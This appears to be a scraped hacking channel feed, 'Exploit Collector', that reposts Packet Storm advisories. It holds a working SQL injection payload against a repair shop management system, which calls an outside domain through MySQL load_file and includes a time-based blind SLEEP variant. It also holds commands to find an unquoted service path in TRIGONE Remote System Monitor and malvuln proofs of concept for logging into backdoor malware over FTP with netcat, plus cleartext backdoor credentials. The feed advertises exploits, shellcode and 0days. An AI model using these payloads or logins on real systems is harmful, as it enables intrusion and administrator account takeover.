Hacking Articles Tips Tricks Videos Tutorials

## Title: Computer and Mobile Repair Shop Management-1.0 SQL - Injections
## Author: nu11secur1ty
## Date: 12.28.2021
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15108/computer-and-mobile-repair-shop-management-system-using-phpoop-free-source-code.html

## Description:
The `code` parameter from /rsms/ node app, on Computer and Mobile
Repair Shop Management-1.0 appears to be vulnerable to SQL injection
attacks.
The payload '+(select
load_file('\\\\uhf36ut6xyf0s9amr8axy7o8ezks8jwazyqlh96.nu11secur1tyPenetrationTestingEngineer.net\\kie'))+'
was submitted in the code parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control on this system.

[+] Payloads:

```mysql
---
Parameter: code (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_status&code=202778'+(select
load_file('\\\\uhf36ut6xyf0s9amr8axy7o8ezks8jwazyqlh96.nu11secur1tyPenetrationTestingEngineer.net\\kie'))+''
AND (SELECT 6180 FROM (SELECT(SLEEP(3)))nbQu) AND 'yOvj'='yOvj
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/oretnom23/RSMS-1.0)

## Proof and Exploit:
[href](https://streamable.com/aa69kd)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Computer And Mobile Repair Shop Management 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
TRIGONE Remote System Monitor 3.61 Unquoted Service Path

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
TRIGONE Remote System Monitor version 3.61 suffers from an unquoted service path vulnerability.

MD5 | 3463452fad0a27f3427cf59513fb07fc

Download

# Exploit Title: TRIGONE Remote System Monitor 3.61 Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage:  https://www.trigonesoft.com/
# Software Link: https://www.trigonesoft.com/download/Remote_System_monitor_Server_3.61_x86_Setup.exe
# Tested Version: 3.61
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

TRIGONE Remote System Monitor Server RemoteSystemMonitorService 
C:\Program Files\TRIGONE\Remote System Monitor Server\RemoteSystemMonitorService.exe 
Auto

C:\>sc qc srvInventoryWebServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteSystemMonitorService
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files\TRIGONE\Remote System Monitor Serv
er\RemoteSystemMonitorService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : TRIGONE Remote System Monitor Server
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

TRIGONE Remote System Monitor 3.61 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdoor.Win32.Wollf.m Authentication Bypass

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Backdoor.Win32.Wollf.m malware suffers from a bypass vulnerability.

MD5 | ffa3491cb5e17da83dcbcb1ecf3fda43

Download

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. The malware has an FTP component that can be enabled using the FTPD command. Third-party attackers who can reach the server can logon using any username password combination.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325 
Vuln ID: MVID-2021-0436
Dropped files: wrm.exe
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.Wollf.m Authentication Bypass

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 22:05

Hacking Articles Tips Tricks Videos Tutorials

7 views22:05

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Backdoor.Win32.Jokerdoor Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.Jokerdoor Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 22:05

Hacking Articles Tips Tricks Videos Tutorials

6 views22:05

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdoor.Win32.Fantador Insecure Password Storage

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
Backdoor.Win32.Fantador malware suffers from an insecure password storage vulnerability.

MD5 | b5dd0e3572fe7f9a68928b65d4d56edd

Download

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a1d045151c809535a308311931588fd0_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Fantador 
Vulnerability: Insecure Password Storage
Description: The malware has an FTP component that can be enabled. The credentials are stored in cleartext in a file named "Fantasy.ini".
Type: PE32
MD5: a1d045151c809535a308311931588fd0
Vuln ID: MVID-2021-0439
Disclosure: 12/31/2021

Exploit/PoC:
Fantasy.ini

[FTP Server]
Address=0.0.0.0
User Name=admin
FileName=
PASSWORD=abc123
[Set]
ListenPort=21
TimeFlash=0
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).